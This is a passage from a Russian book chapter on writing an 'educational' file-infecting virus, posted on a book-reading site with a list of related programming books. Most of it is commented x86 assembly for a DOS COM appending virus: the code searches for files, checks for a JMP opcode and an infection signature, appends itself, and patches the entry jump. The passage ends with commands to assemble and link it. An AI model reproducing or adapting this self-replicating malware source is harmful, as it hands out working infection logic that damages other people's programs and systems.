Читаем Создаем вирус и антивирус полностью

В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.

Рис. 1.1

После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.

Рис. 1.2

Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname – offset myself

add dx,bp

mov cx,00100111b

int 21h

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx ;CX=0

inc cx ;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

;файла – этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor cx,cx

inc cx

mov dx,offset bytik–offset myself

add dx,bp

int 21h

;Если при чтении файла ошибок не произошло,

;проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если ее нет – будем заражать

je find_next2

jmp Not_infected

Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

;Переходим в конец файла

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Устанавливаем регистр DS на сегмент кода

push cs

pop ds

;Копируем вирус в файл

mov ah,40h

mov cx,offset VirEnd–offset la

mov dx,bp

sub dx,offset myself−offset la

int 21h

;Записываем в начало файла переход на тело вируса

Write_Jmp:

;Переходим в начало файла

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov cx,3

mov dx,offset jmpvir–offset myself

add dx,bp

int 21h

После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю. Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

tasm.exe leo.asm tlink leo.obj/t

Перейти на страницу:

Похожие книги

Основы программирования в Linux
Основы программирования в Linux

В четвертом издании популярного руководства даны основы программирования в операционной системе Linux. Рассмотрены: использование библиотек C/C++ и стан­дартных средств разработки, организация системных вызовов, файловый ввод/вывод, взаимодействие процессов, программирование средствами командной оболочки, создание графических пользовательских интерфейсов с помощью инструментальных средств GTK+ или Qt, применение сокетов и др. Описана компиляция программ, их компоновка c библиотеками и работа с терминальным вводом/выводом. Даны приемы написания приложений в средах GNOME® и KDE®, хранения данных с использованием СУБД MySQL® и отладки программ. Книга хорошо структурирована, что делает обучение легким и быстрым. Для начинающих Linux-программистов

Нейл Мэтью , Ричард Стоунс , Татьяна Коротяева

ОС и Сети / Программирование / Книги по IT
97 этюдов для архитекторов программных систем
97 этюдов для архитекторов программных систем

Успешная карьера архитектора программного обеспечения требует хорошего владения как технической, так и деловой сторонами вопросов, связанных с проектированием архитектуры. В этой необычной книге ведущие архитекторы ПО со всего света обсуждают важные принципы разработки, выходящие далеко за пределы чисто технических вопросов.?Архитектор ПО выполняет роль посредника между командой разработчиков и бизнес-руководством компании, поэтому чтобы добиться успеха в этой профессии, необходимо не только овладеть различными технологиями, но и обеспечить работу над проектом в соответствии с бизнес-целями. В книге более 50 архитекторов рассказывают о том, что считают самым важным в своей работе, дают советы, как организовать общение с другими участниками проекта, как снизить сложность архитектуры, как оказывать поддержку разработчикам. Они щедро делятся множеством полезных идей и приемов, которые вынесли из своего многолетнего опыта. Авторы надеются, что книга станет источником вдохновения и руководством к действию для многих профессиональных программистов.

Билл де Ора , Майкл Хайгард , Нил Форд

Программирование, программы, базы данных / Базы данных / Программирование / Книги по IT
Программист-прагматик. Путь от подмастерья к мастеру
Программист-прагматик. Путь от подмастерья к мастеру

Находясь на переднем крае программирования, книга "Программист-прагматик. Путь от подмастерья к мастеру" абстрагируется от всевозрастающей специализации и технических тонкостей разработки программ на современном уровне, чтобы исследовать суть процесса – требования к работоспособной и поддерживаемой программе, приводящей пользователей в восторг. Книга охватывает различные темы – от личной ответственности и карьерного роста до архитектурных методик, придающих программам гибкость и простоту в адаптации и повторном использовании.Прочитав эту книгу, вы научитесь:Бороться с недостатками программного обеспечения;Избегать ловушек, связанных с дублированием знания;Создавать гибкие, динамичные и адаптируемые программы;Избегать программирования в расчете на совпадение;Защищать вашу программу при помощи контрактов, утверждений и исключений;Собирать реальные требования;Осуществлять безжалостное и эффективное тестирование;Приводить в восторг ваших пользователей;Формировать команды из программистов-прагматиков и с помощью автоматизации делать ваши разработки более точными.

А. Алексашин , Дэвид Томас , Эндрю Хант

Программирование / Книги по IT